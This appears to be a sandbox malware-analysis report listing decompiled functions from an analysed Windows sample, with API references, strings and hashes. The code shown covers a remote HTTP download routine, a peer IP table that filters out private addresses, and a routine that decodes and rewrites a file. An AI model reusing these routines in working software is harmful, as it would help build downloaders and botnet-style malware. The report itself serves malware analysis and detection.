Associated: 00000004.00000002.381782946.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_2550821914.jbxd

Yara matches

Similarity

API ID: Interlocked$CloseCriticalSection$DecrementEventHandle$CompletionDeleteEnterExchangeIncrementLeavePostQueuedStatus
String ID: PCOI$ilci
API String ID: 2403999931-3762367603
Opcode ID: 24bc7e855fdf49573c30e595b41f6c55b623b0266ed7625da85c1981aca9c43c
Instruction ID: 4e090b2b2d95b5b5db58c8e8021d4e4c0217c2d5e17fa086addfc70fe82b675d
Opcode Fuzzy Hash: 24bc7e855fdf49573c30e595b41f6c55b623b0266ed7625da85c1981aca9c43c
Instruction Fuzzy Hash: 6E319871500705BBD7109F71EC48F97B7A8BF09300F048A2EE959A7691C778F9A4CB98

Uniqueness

Uniqueness Score: -1.00%

Function 004043F0 Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 73
windowsleepregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 68%

			E004043F0() {
				struct HWND__* _v8;
				struct tagMSG _v36;
				struct _WNDCLASSEXW _v84;
				short _v596;
				unsigned int _t20;
				void* _t39;
				void* _t40;

				do {
					_v84.cbSize = 0;
					memset( &(_v84.style), 0, 0x2c);
					_t40 = _t39 + 0xc;
					_v84.cbSize = 0x30;
					_v84.lpfnWndProc = E004041A0;
					_v84.hInstance = GetModuleHandleW(0);
					_v84.lpszClassName =  &_v596;
					do {
						Sleep(1);
						_t20 = GetTickCount();
						wsprintfW( &_v596, L"%x%X", GetTickCount(), _t20 >> 1);
						_t40 = _t40 + 0x10;
					} while ((RegisterClassExW( &_v84) & 0x0000ffff) == 0);
					_v8 = CreateWindowExW(0, _v84.lpszClassName, 0, 0, 0, 0, 0, 0, 0xfffffffd, 0, _v84.hInstance, 0);
					if(_v8 != 0) {
						while(GetMessageA( &_v36, 0, 0, 0) > 0) {
							TranslateMessage( &_v36);
							DispatchMessageA( &_v36);
						}
						goto L7;
					}
					break;
					L7:
				} while (0 != 0);
				ExitThread(0);
			}

0x004043f9
0x004043f9
0x00404408
0x0040440d
0x00404410
0x00404417
0x00404426
0x0040442f
0x00404432
0x00404434
0x0040443a
0x00404456
0x0040445c
0x0040446c
0x00404492
0x00404499
0x0040449d
0x004044b5
0x004044bf
0x004044bf
0x00000000
0x0040449d
0x00000000
0x004044c7
0x004044c7
0x004044d1

APIs

memset.NTDLL ref: 00404408
GetModuleHandleW.KERNEL32(00000000), ref: 00404420
Sleep.KERNEL32(00000001), ref: 00404434
GetTickCount.KERNEL32 ref: 0040443A
GetTickCount.KERNEL32(00000000), ref: 00404443
wsprintfW.USER32 ref: 00404456
RegisterClassExW.USER32(00000030), ref: 00404463
CreateWindowExW.USER32 ref: 0040448C
GetMessageA.USER32 ref: 004044A7
TranslateMessage.USER32(?), ref: 004044B5
DispatchMessageA.USER32 ref: 004044BF
ExitThread.KERNEL32 ref: 004044D1

Strings

%x%X, xrefs: 0040444A
0, xrefs: 00404410

Memory Dump Source

Source File: 00000004.00000002.381763276.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.381759429.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381771790.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381777020.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381782946.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_2550821914.jbxd

Yara matches

Similarity

API ID: Message$CountTick$ClassCreateDispatchExitHandleModuleRegisterSleepThreadTranslateWindowmemsetwsprintf
String ID: %x%X$0
API String ID: 716646876-225668902
Opcode ID: fefae300a6ae166907af6779e4e4d81ad735c504abc0138177021c7cc3709374
Instruction ID: 3e2b717ade092063a9efcdadcacb4b05de8fa546afe9c034d67f52ff400308d4
Opcode Fuzzy Hash: fefae300a6ae166907af6779e4e4d81ad735c504abc0138177021c7cc3709374
Instruction Fuzzy Hash: 732121B0940318ABEB109BE0DC4DFEE7B78BB48701F548529F601B61D0DBB995448B69

Uniqueness

Uniqueness Score: -1.00%

Function 0040C260 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 130
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 82%

			E0040C260(char* _a4, char** _a8) {
				char _v260;
				char _v772;
				long _v776;
				void* _v780;
				intOrPtr _v792;
				char* _v796;
				signed short _v816;
				intOrPtr _v820;
				char* _v824;
				void _v836;
				void* _v840;
				void* _v844;
				void* _v848;
				char* _v852;
				void _v1876;
				long _v1880;
				void* _t91;
				void* _t92;

				_v776 = 0;
				_v840 = 0;
				memset( &_v836, 0, 0x38);
				_t92 = _t91 + 0xc;
				_v840 = 0x3c;
				_v824 =  &_v260;
				_v820 = 0x100;
				_v796 =  &_v772;
				_v792 = 0x200;
				InternetCrackUrlA(_a4, 0, 0x10000000,  &_v840);
				_v780 = InternetOpenA(0, 1, 0, 0, 0);
				if(_v780 != 0) {
					_v844 = InternetConnectA(_v780,  &_v260, _v816 & 0x0000ffff, 0, 0, 3, 0, 0);
					if(_v844 != 0) {
						_v848 = HttpOpenRequestA(_v844, "GET",  &_v772, 0, 0, 0, 0, 0);
						if(_v848 != 0) {
							if(HttpSendRequestA(_v848, 0, 0, 0, 0) != 0) {
								if(_a8 == 0) {
									_v776 = 1;
								} else {
									_v852 = 0;
									while(1 != 0) {
										_t87 = _v848;
										if(InternetReadFile(_v848,  &_v1876, 0x400,  &_v1880) != 0 && _v1880 != 0) {
											_v776 = E00408B60(_v776, _t87, _v776,  &(_v852[_v1880]));
											memcpy( &(_v852[_v776]),  &_v1876, _v1880);
											_t92 = _t92 + 0x14;
											_v852 =  &(_v852[_v1880]);
											continue;
										}
										break;
									}
									 *_a8 = _v852;
								}
							}
							InternetCloseHandle(_v848);
						}
						InternetCloseHandle(_v844);
					}
					InternetCloseHandle(_v780);
				}
				return _v776;
			}

0x0040c269
0x0040c273
0x0040c288
0x0040c28d
0x0040c290
0x0040c2a0
0x0040c2a6
0x0040c2b6
0x0040c2bc
0x0040c2d8
0x0040c2ee
0x0040c2fb
0x0040c327
0x0040c334
0x0040c35d
0x0040c36a
0x0040c387
0x0040c391
0x0040c446
0x0040c397
0x0040c397
0x0040c3a1
0x0040c3c1
0x0040c3d0
0x0040c3f9
0x0040c41a
0x0040c41f
0x0040c42e
0x00000000
0x0040c42e
0x00000000
0x0040c3d0
0x0040c442
0x0040c442
0x0040c391
0x0040c457
0x0040c457
0x0040c464
0x0040c464
0x0040c471
0x0040c471
0x0040c480

APIs

memset.NTDLL ref: 0040C288
InternetCrackUrlA.WININET(0040D079,00000000,10000000,0000003C), ref: 0040C2D8
InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 0040C2E8
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040C321
HttpOpenRequestA.WININET(00000000,GET,?,00000000,00000000,00000000,00000000,00000000), ref: 0040C357
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0040C37F
InternetReadFile.WININET(00000000,?,00000400,?), ref: 0040C3C8
memcpy.NTDLL(00000000,?,00000000), ref: 0040C41A
InternetCloseHandle.WININET(00000000), ref: 0040C457
InternetCloseHandle.WININET(00000000), ref: 0040C464
InternetCloseHandle.WININET(00000000), ref: 0040C471

Strings

GET, xrefs: 0040C34B
<, xrefs: 0040C290

Memory Dump Source

Source File: 00000004.00000002.381763276.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.381759429.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381771790.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381777020.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381782946.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_2550821914.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$HttpOpenRequest$ConnectCrackFileReadSendmemcpymemset
String ID: <$GET
API String ID: 1205665004-427699995
Opcode ID: dab37fe1cf5ad5345423841208ea45a88af8b8a36c3041dfe8d9034034847e97
Instruction ID: fb11e20dfced737966d96b67562c2227f08ee783dca279ae1717ab20ae365a52
Opcode Fuzzy Hash: dab37fe1cf5ad5345423841208ea45a88af8b8a36c3041dfe8d9034034847e97
Instruction Fuzzy Hash: 44513EB1941228ABDB36CB50CC95BE973BCBB44705F0081E9A60DAA2C0D7B96FC4CF54

Uniqueness

Uniqueness Score: -1.00%

Function 00409A30 Relevance: 22.7, APIs: 9, Strings: 6, Instructions: 156
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00409A30(signed int _a4, intOrPtr _a8, signed int _a12) {
				signed char _v5;
				signed int _v12;
				signed int _v13;
				signed int _v20;
				signed char _t50;
				char* _t52;
				char* _t54;
				char* _t57;
				signed int _t61;
				void* _t65;
				char* _t68;
				char* _t72;
				signed int _t77;
				char* _t78;
				signed int _t80;
				signed int _t89;
				signed int _t91;
				intOrPtr _t93;
				char* _t95;
				void* _t97;
				void* _t98;
				void* _t100;
				void* _t102;
				void* _t106;
				void* _t109;

				_t50 = E00409770(_a4);
				_t98 = _t97 + 4;
				_t74 = _t50 & 0x000000ff;
				if((_t50 & 0x000000ff) == 0) {
					_t52 = strstr(E004094E0(_t74, _a4), "127.");
					_t100 = _t98 + 0xc;
					__eflags = _t52;
					if(_t52 == 0) {
						L6:
						_t54 = strstr(E004094E0(_t74, _a4), "10.");
						_t102 = _t100 + 0xc;
						__eflags = _t54;
						if(_t54 == 0) {
							L10:
							EnterCriticalSection(0x416df4);
							_v5 = 0;
							_v12 = 0;
							while(1) {
								__eflags = _v12 -  *0x416e2c; // 0x0
								if(__eflags >= 0) {
									break;
								}
								_t93 =  *((intOrPtr*)(0x416e30 + _v12 * 4));
								__eflags =  *((intOrPtr*)(_t93 + 4)) - _a4;
								if( *((intOrPtr*)(_t93 + 4)) != _a4) {
									_t95 = _v12 + 1;
									__eflags = _t95;
									_v12 = _t95;
									continue;
								}
								_t65 = E0040BE60();
								_t55 = _t65 - _a8;
								 *((intOrPtr*)( *((intOrPtr*)(0x416e30 + _v12 * 4)) + 8)) = _t65 - _a8;
								_v5 = 1;
								break;
							}
							E00409980(_t55);
							_t57 = _v5 & 0x000000ff;
							__eflags = _t57;
							if(_t57 != 0) {
								L27:
								LeaveCriticalSection(0x416df4);
								return _t57;
							}
							_v13 = 0;
							__eflags =  *0x416e2c - 0x200;
							if( *0x416e2c == 0x200) {
								_v13 = 1;
							}
							_t57 = E00408B00(0xc);
							_v20 = _t57;
							__eflags = _v20;
							if(_v20 == 0) {
								goto L27;
							} else {
								 *((intOrPtr*)(_v20 + 4)) = _a4;
								 *((intOrPtr*)(_v20 + 8)) = E0040BE60() - _a8;
								__eflags = _v13 & 0x000000ff;
								if((_v13 & 0x000000ff) == 0) {
									_t89 =  *0x416e2c; // 0x0
									_t60 = _v20;
									 *((intOrPtr*)(0x416e30 + _t89 * 4)) = _v20;
									_t77 =  *0x416e2c; // 0x0
									_t78 = _t77 + 1;
									__eflags = _t78;
									 *0x416e2c = _t78;
									L25:
									_t57 = E00409980(_t60);
									__eflags = _a12 & 0x000000ff;
									if((_a12 & 0x000000ff) != 0) {
										_t57 = E00409660(_t57);
									}
									goto L27;
								} else {
									goto L21;
								}
								while(1) {
									L21:
									_t61 =  *0x416e2c; // 0x0
									__eflags =  *(0x416e2c[_t61]);
									if( *(0x416e2c[_t61]) == 0) {
										break;
									}
									Sleep(1);
								}
								_t91 =  *0x416e2c; // 0x0
								 *(0x416e2c[_t91]) = 1;
								_t80 =  *0x416e2c; // 0x0
								E00408C70(0x416e2c[_t80]);
								_t60 =  *0x416e2c; // 0x0
								0x416e2c[_t60] = _v20;
								goto L25;
							}
						}
						_t68 = strstr(E004094E0(_t74, _a4), ".10");
						_t106 = _t102 + 0xc;
						__eflags = _t68;
						if(_t68 == 0) {
							L9:
							return _t68;
						}
						_t68 = strstr(E004094E0(_a4, _a4), ".10.");
						_t102 = _t106 + 0xc;
						__eflags = _t68;
						if(_t68 != 0) {
							goto L10;
						}
						goto L9;
					}
					_t72 = strstr(E004094E0(_t74, _a4), ".127");
					_t109 = _t100 + 0xc;
					__eflags = _t72;
					if(_t72 == 0) {
						L5:
						return _t72;
					}
					_t74 = _a4;
					_t72 = strstr(E004094E0(_a4, _a4), ".127.");
					_t100 = _t109 + 0xc;
					__eflags = _t72;
					if(_t72 != 0) {
						goto L6;
					}
					goto L5;
				}
				return _t50;
			}

0x00409a3a
0x00409a3f
0x00409a42
0x00409a47
0x00409a60
0x00409a65
0x00409a68
0x00409a6a
0x00409aad
0x00409abf
0x00409ac4
0x00409ac7
0x00409ac9
0x00409b0c
0x00409b11
0x00409b17
0x00409b1b
0x00409b2d
0x00409b30
0x00409b36
0x00000000
0x00000000
0x00409b3b
0x00409b45
0x00409b48
0x00409b27
0x00409b27
0x00409b2a
0x00000000
0x00409b2a
0x00409b4a
0x00409b4f
0x00409b5c
0x00409b5f
0x00000000
0x00409b5f
0x00409b67
0x00409b6c
0x00409b70
0x00409b72
0x00409c48
0x00409c4d
0x00000000
0x00409c4d
0x00409b78
0x00409b7c
0x00409b86
0x00409b88
0x00409b88
0x00409b8e
0x00409b96
0x00409b99
0x00409b9d
0x00000000
0x00409ba3
0x00409ba9
0x00409bb7
0x00409bbe
0x00409bc0
0x00409c17
0x00409c1d
0x00409c20
0x00409c27
0x00409c2d
0x00409c2d
0x00409c30
0x00409c36
0x00409c36
0x00409c3f
0x00409c41
0x00409c43
0x00409c43
0x00000000
0x00000000
0x00000000
0x00000000
0x00409bc2
0x00409bc2
0x00409bc2
0x00409bce
0x00409bd1
0x00000000
0x00000000
0x00409bd5
0x00409bd5
0x00409bdd
0x00409bea
0x00409bf0
0x00409bfe
0x00409c06
0x00409c0e
0x00000000
0x00409c0e
0x00409b9d
0x00409add
0x00409ae2
0x00409ae5
0x00409ae7
0x00000000
0x00000000
0x00000000
0x00409afb
0x00409b00
0x00409b03
0x00409b05
0x00000000
0x00000000
0x00000000
0x00409b05
0x00409a7e
0x00409a83
0x00409a86
0x00409a88
0x00000000
0x00000000
0x00000000
0x00409a8f
0x00409a9c
0x00409aa1
0x00409aa4
0x00409aa6
0x00000000
0x00000000
0x00000000
0x00409aa6
0x00000000

APIs

Part of subcall function 00409770: gethostname.WS2_32(?,00000100), ref: 0040978C
Part of subcall function 00409770: gethostbyname.WS2_32(?), ref: 0040979E

strstr.NTDLL ref: 00409A60
strstr.NTDLL ref: 00409A7E
strstr.NTDLL ref: 00409A9C

Strings

.10., xrefs: 00409AE9
.127, xrefs: 00409A6C
.10, xrefs: 00409ACB
.127., xrefs: 00409A8A
10., xrefs: 00409AAD
127., xrefs: 00409A4E

Memory Dump Source

Source File: 00000004.00000002.381763276.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.381759429.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381771790.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381777020.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381782946.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_2550821914.jbxd

Yara matches

Similarity

API ID: strstr$gethostbynamegethostname
String ID: .10$.10.$.127$.127.$10.$127.
API String ID: 2540993189-3303897403
Opcode ID: 42776ebd3e410ca7c1fc6fe8d2357f856bb71b1c556b321f1289088777c786c6
Instruction ID: 3df5601b161af7dea13d6a0229968f945e0e067b118b08783a6fcb5bdca65d6d
Opcode Fuzzy Hash: 42776ebd3e410ca7c1fc6fe8d2357f856bb71b1c556b321f1289088777c786c6
Instruction Fuzzy Hash: AC51B4B8E043449BDB04EB61E841BAA7BB5AB44308F04C53EE904673C2D67EE951CB9D

Uniqueness

Uniqueness Score: -1.00%

Function 0040BC90 Relevance: 16.6, APIs: 11, Instructions: 95
threadsleepsynchronizationCOMMON

Download Yara Rule

C-Code - Quality: 80%

			E0040BC90(LONG* _a4, intOrPtr _a8) {
				int _v8;
				long _v12;
				LONG* _v16;
				signed char _v17;
				long _v24;
				signed int _v28;
				signed int _t57;
				intOrPtr _t80;

				_v8 = GetThreadPriority(GetCurrentThread());
				SetThreadPriority(GetCurrentThread(), 0xfffffffe);
				_v12 = 0;
				if(_a4 != 0) {
					_v16 = _a4;
					if(InterlockedExchangeAdd(_v16, 0) > 0) {
						_v17 = 0 | _a8 != 0xffffffff;
						while(1 != 0) {
							_v24 = 0;
							EnterCriticalSection( &(_v16[1]));
							_v28 = 0;
							while(_v28 <  *_v16) {
								if( *(_v16[7] + _v28 * 4) != 0) {
									_t57 = WaitForSingleObject( *(_v16[7] + _v28 * 4), 0);
									asm("sbb eax, eax");
									_v24 =  ~_t57 + 1 + _v24;
								} else {
									_v24 = _v24 + 1;
								}
								_v28 = _v28 + 1;
							}
							LeaveCriticalSection( &(_v16[1]));
							if(_v24 !=  *_v16) {
								if((_v17 & 0x000000ff) == 0) {
									L15:
									Sleep(1);
									continue;
								} else {
									_t80 = _a8 - 1;
									_a8 = _t80;
									if(_t80 != 0) {
										goto L15;
									} else {
									}
								}
							} else {
								_v12 = 1;
							}
							goto L16;
						}
					}
				}
				L16:
				SetThreadPriority(GetCurrentThread(), _v8);
				return _v12;
			}

0x0040bca3
0x0040bcaf
0x0040bcb5
0x0040bcc0
0x0040bcc9
0x0040bcda
0x0040bce9
0x0040bcec
0x0040bcf9
0x0040bd07
0x0040bd0d
0x0040bd1f
0x0040bd36
0x0040bd52
0x0040bd5a
0x0040bd62
0x0040bd38
0x0040bd3e
0x0040bd3e
0x0040bd1c
0x0040bd1c
0x0040bd6e
0x0040bd7c
0x0040bd8d
0x0040bd9c
0x0040bd9e
0x00000000
0x0040bd8f
0x0040bd92
0x0040bd95
0x0040bd98
0x00000000
0x00000000
0x0040bd9a
0x0040bd98
0x0040bd7e
0x0040bd7e
0x0040bd7e
0x00000000
0x0040bd7c
0x0040bcec
0x0040bcda
0x0040bda9
0x0040bdb4
0x0040bdc0

APIs

GetCurrentThread.KERNEL32(?,0040E1CE,?,000000FF,?,0040EC84), ref: 0040BC96
GetThreadPriority.KERNEL32(00000000,?,0040E1CE,?,000000FF,?,0040EC84), ref: 0040BC9D
GetCurrentThread.KERNEL32(000000FE,?,0040E1CE,?,000000FF,?,0040EC84), ref: 0040BCA8
SetThreadPriority.KERNEL32(00000000,?,0040E1CE,?,000000FF,?,0040EC84), ref: 0040BCAF
InterlockedExchangeAdd.KERNEL32(000000FF,00000000), ref: 0040BCD2
EnterCriticalSection.KERNEL32(000000FB), ref: 0040BD07
WaitForSingleObject.KERNEL32(000000FF,00000000), ref: 0040BD52
LeaveCriticalSection.KERNEL32(000000FB), ref: 0040BD6E
Sleep.KERNEL32(00000001), ref: 0040BD9E
GetCurrentThread.KERNEL32(0040EC84,?,0040E1CE,?,000000FF), ref: 0040BDAD
SetThreadPriority.KERNEL32(00000000,?,0040E1CE,?,000000FF), ref: 0040BDB4

Memory Dump Source

Source File: 00000004.00000002.381763276.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.381759429.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381771790.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381777020.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381782946.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_2550821914.jbxd

Yara matches

Similarity

API ID: Thread$CurrentPriority$CriticalSection$EnterExchangeInterlockedLeaveObjectSingleSleepWait
String ID:
API String ID: 3862671961-0
Opcode ID: 9b630854fbef9f049a7081aae18ede4369720886b006fadf81150b85c4d4f177
Instruction ID: 7471dcba010468c66186aef50ce52d9a71631389d56eaee9496ec156eb60796e
Opcode Fuzzy Hash: 9b630854fbef9f049a7081aae18ede4369720886b006fadf81150b85c4d4f177
Instruction Fuzzy Hash: E7414E74D00209EFDB14CFA4D848BAEBB75FF44305F20C16AE906A7380D7789A81CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00409D40 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 107
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00409D40() {
				void* _v8;
				signed int _v12;
				void* _v16;
				void* _v20;
				long _v24;
				DWORD* _v28;
				signed int _v32;
				intOrPtr _t41;
				void* _t74;

				InitializeCriticalSection(0x416df4);
				_v12 = 0;
				while(_v12 < 0x200) {
					E00409A30( *((intOrPtr*)(0x4143b8 + _v12 * 4)), E0040BE60(), 0);
					_t74 = _t74 + 0xc;
					_v12 = _v12 + 1;
				}
				_v8 = CreateFileW(0x416be8, 0x80000000, 0, 0, 3, 0, 0);
				if(_v8 != 0xffffffff) {
					_v16 = CreateFileMappingW(_v8, 0, 2, 0, 0, 0);
					if(_v16 != 0) {
						_v20 = MapViewOfFile(_v16, 4, 0, 0, 0);
						if(_v20 != 0) {
							_v24 = GetFileSize(_v8, 0);
							_v28 = 0;
							_v32 = 0;
							while(_v28 < _v24 && _v32 < 0x200) {
								E00409A30( *((intOrPtr*)(_v20 + _v32 * 8)), E0040BE60() -  *((intOrPtr*)(_v20 + 4 + _v32 * 8)), 0);
								_t74 = _t74 + 0xc;
								_v28 =  &(_v28[2]);
								_v32 = _v32 + 1;
							}
							UnmapViewOfFile(_v20);
						}
						CloseHandle(_v16);
					}
					CloseHandle(_v8);
				}
				E00409750();
				_t41 =  *0x416e10; // 0x0
				return E0040BBA0(_t41, 0, E00409620, 0, 0, 0);
			}

0x00409d4b
0x00409d51
0x00409d63
0x00409d7f
0x00409d84
0x00409d60
0x00409d60
0x00409da3
0x00409daa
0x00409dc4
0x00409dcb
0x00409de3
0x00409dea
0x00409df8
0x00409dfb
0x00409e02
0x00409e1d
0x00409e4a
0x00409e4f
0x00409e11
0x00409e1a
0x00409e1a
0x00409e58
0x00409e58
0x00409e62
0x00409e62
0x00409e6c
0x00409e6c
0x00409e72
0x00409e84
0x00409e95

APIs

InitializeCriticalSection.KERNEL32(00416DF4,?,?,?,?,?,?,00406559), ref: 00409D4B
CreateFileW.KERNEL32(00416BE8,80000000,00000000,00000000,00000003,00000000,00000000), ref: 00409D9D
CreateFileMappingW.KERNEL32(000000FF,00000000,00000002,00000000,00000000,00000000), ref: 00409DBE
MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000), ref: 00409DDD
GetFileSize.KERNEL32(000000FF,00000000), ref: 00409DF2
UnmapViewOfFile.KERNEL32(00000000), ref: 00409E58
CloseHandle.KERNEL32(00000000), ref: 00409E62
CloseHandle.KERNEL32(000000FF), ref: 00409E6C

Part of subcall function 0040BE60: NtQuerySystemTime.NTDLL ref: 0040BE6A
Part of subcall function 0040BE60: RtlTimeToSecondsSince1980.NTDLL ref: 0040BE78

Strings

Ye@, xrefs: 00409DEE, 00409DBA, 00409E68

Memory Dump Source

Source File: 00000004.00000002.381763276.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.381759429.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381771790.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381777020.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381782946.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_2550821914.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleTimeView$CriticalInitializeMappingQuerySecondsSectionSince1980SizeSystemUnmap
String ID: Ye@
API String ID: 439099756-4068086367
Opcode ID: f34f8cfc51801f30e90d44d220303d9a0f78e995387e0b56e3f657b0986bfc59
Instruction ID: 4dce5e276bdf20b80a38771717a09593e8b4a8e5598cf30a42ed89e5f557a98d
Opcode Fuzzy Hash: f34f8cfc51801f30e90d44d220303d9a0f78e995387e0b56e3f657b0986bfc59
Instruction Fuzzy Hash: F4413F74E40308BBDB10DBA4DC4ABAEB774AB44704F208569F611772C2C7B96941CF9D

Uniqueness

Uniqueness Score: -1.00%

Function 0040D1D0 Relevance: 15.1, APIs: 10, Instructions: 145
fileCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E0040D1D0(WCHAR* _a4) {
				void* _v8;
				long _v12;
				void* _v16;
				DWORD* _v20;
				char _v21;
				void* _v28;
				void* _v32;
				char _v48;
				DWORD* _t70;
				void* _t73;
				void* _t103;

				_v21 = 0;
				_v12 = 0;
				_v20 = 0;
				_v8 = 0;
				_v16 = CreateFileW(_a4, 0x80000000, 0, 0, 3, 0, 0);
				if(_v16 == 0xffffffff) {
					L12:
					if(_v8 != 0) {
						_v16 = CreateFileW(_a4, 0x40000000, 0, 0, 2, 0, 0);
						if(_v16 != 0xffffffff) {
							_v21 = 1;
							WriteFile(_v16, _v8, _v12,  &_v12, 0);
							CloseHandle(_v16);
						}
						E00408C70(_v8);
					}
					return _v21;
				}
				_v28 = CreateFileMappingW(_v16, 0, 2, 0, 0, 0);
				if(_v28 == 0) {
					L11:
					CloseHandle(_v16);
					goto L12;
				}
				_v32 = MapViewOfFile(_v28, 4, 0, 0, 0);
				if(_v32 == 0) {
					L10:
					CloseHandle(_v28);
					goto L11;
				} else {
					_v12 = GetFileSize(_v16, 0);
					if(_v12 > 0x100) {
						_t70 = E0040B1E0(_v32, _v32);
						_t103 = _t103 + 4;
						_v20 = _t70;
						if(_v20 != 0 && _v20[6] == _v12 - 0x100) {
							_v12 = _v20[6];
							_t73 = E0040AB80(_v32 + 0x100,  &(_v20[2]), 0x10, _v32 + 0x100, _v12);
							_t103 = _t103 + 0x10;
							_v8 = _t73;
							if(_v8 != 0) {
								E004094C0(_v8, _v12,  &_v48);
								_t103 = _t103 + 0xc;
								asm("repe cmpsd");
								if(0 != 0) {
									E00408C70(_v8);
									_t103 = _t103 + 4;
									_v8 = 0;
								}
							}
						}
					}
					UnmapViewOfFile(_v32);
					goto L10;
				}
			}

0x0040d1d8
0x0040d1dc
0x0040d1e3
0x0040d1ea
0x0040d20a
0x0040d211
0x0040d323
0x0040d327
0x0040d342
0x0040d349
0x0040d34b
0x0040d361
0x0040d36b
0x0040d36b
0x0040d375
0x0040d37a
0x0040d385
0x0040d385
0x0040d22b
0x0040d232
0x0040d319
0x0040d31d
0x00000000
0x0040d31d
0x0040d24a
0x0040d251
0x0040d30f
0x0040d313
0x00000000
0x0040d257
0x0040d263
0x0040d26d
0x0040d277
0x0040d27c
0x0040d27f
0x0040d286
0x0040d29f
0x0040d2b9
0x0040d2be
0x0040d2c1
0x0040d2c8
0x0040d2d6
0x0040d2db
0x0040d2ee
0x0040d2f0
0x0040d2f6
0x0040d2fb
0x0040d2fe
0x0040d2fe
0x0040d2f0
0x0040d2c8
0x0040d286
0x0040d309
0x00000000
0x0040d309

APIs

CreateFileW.KERNEL32(00000000,80000000,00000000,00000000,00000003,00000000,00000000), ref: 0040D204
CreateFileMappingW.KERNEL32(000000FF,00000000,00000002,00000000,00000000,00000000), ref: 0040D225
MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000), ref: 0040D244
GetFileSize.KERNEL32(000000FF,00000000), ref: 0040D25D
UnmapViewOfFile.KERNEL32(00000000), ref: 0040D309
CloseHandle.KERNEL32(00000000), ref: 0040D313
CloseHandle.KERNEL32(000000FF), ref: 0040D31D
CreateFileW.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000000,00000000), ref: 0040D33C
WriteFile.KERNEL32(000000FF,00000000,00000000,00000000,00000000), ref: 0040D361
CloseHandle.KERNEL32(000000FF), ref: 0040D36B

Memory Dump Source

Source File: 00000004.00000002.381763276.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.381759429.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381771790.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381777020.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381782946.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_2550821914.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandle$View$MappingSizeUnmapWrite
String ID:
API String ID: 171974401-0
Opcode ID: 42738202a373e86da52720a5def95d02706c9cd7ae46f1d94619cfd4c34c3cbf
Instruction ID: 3921fc4700ee4b190ae2af8b7d894abc0534e186cae3a84a50511f4350192fbd
Opcode Fuzzy Hash: 42738202a373e86da52720a5def95d02706c9cd7ae46f1d94619cfd4c34c3cbf
Instruction Fuzzy Hash: 97512CB5E00208FBDB14DFE4CC59BEEBB74AB48704F208569E611772C0D7B96A45CB98

Uniqueness

Uniqueness Score: -1.00%

